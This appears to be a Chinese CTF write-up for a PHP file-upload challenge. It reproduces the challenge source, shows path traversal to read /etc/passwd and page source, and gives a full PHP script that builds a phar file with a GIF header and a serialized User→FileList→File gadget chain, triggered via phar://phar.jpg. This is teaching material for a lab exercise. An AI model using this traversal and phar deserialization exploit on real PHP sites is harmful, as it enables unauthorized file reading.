目录
- 题目分析
- 功能测试
- 代码读取
- index.php
- download.php
- delete.php
- class.php
- 关键代码审计
- user类
- FileList类
- File类
- 思路
- 解题步骤
- php脚本
- 解题
题目分析
功能测试
注册登录后来到上传文件界面,通过改后缀,改文件头,改content-type,上传了一句话木马,但是后缀会被改为jpg,无法利用
对于上传的文件,有下载和删除的功能
抓包看看下载功能,可以读取/etc/passwd,没能读到flag
可以读取到页面的源代码
filename=../../index.php
代码读取
index.php
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
得知存在class.php
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
关键代码审计
主要利用class.php来得到flag
user类
public function __destruct() {
$this->db->close();
}
可以通过这个析构函数调用其他类
FileList类
__call() 是一个特殊的魔术方法(magic method),用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用,从而实现动态方法调用的功能
File类
public function close() {
return file_get_contents($this->filename);
}
通过这个函数读取文件
读到的文件在析构的时候可以显示出来
思路
user类–>$this->db->close()–>FileList类–>__call()–>File类–>close()
不存在反序列化,那如何实现调用呢?
链接:『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客
可以使用phar伪协议,meta-data保存信息,它是序列化后的信息,phar://伪协议可以让一些函数自动反序列化这个字段信息
不管文件后缀名是什么,都会按照.phar来解析
通过脚本,生成.phar文件,上传之后伪协议读取
解题步骤
php脚本
<?php
class User {
public $db;
}
class FileList {
private $files = array();
public function __construct() {
$file = new File();
array_push($this->files,$file);
}
}
class File {
public $filename = '/flag.txt';
}
$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test'); //添加要压缩的文件
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();
?>
在同级目录下生成,phar文件
注意,将配置文件php.ini里边的phar.readonly设置为Off,去掉前面的分号
解题
将生成的文件后缀改为jpg后上传
点击删除并抓包,修改文件名(下载页面对flag字段有过滤)
得到flag
filename=phar://phar.jpg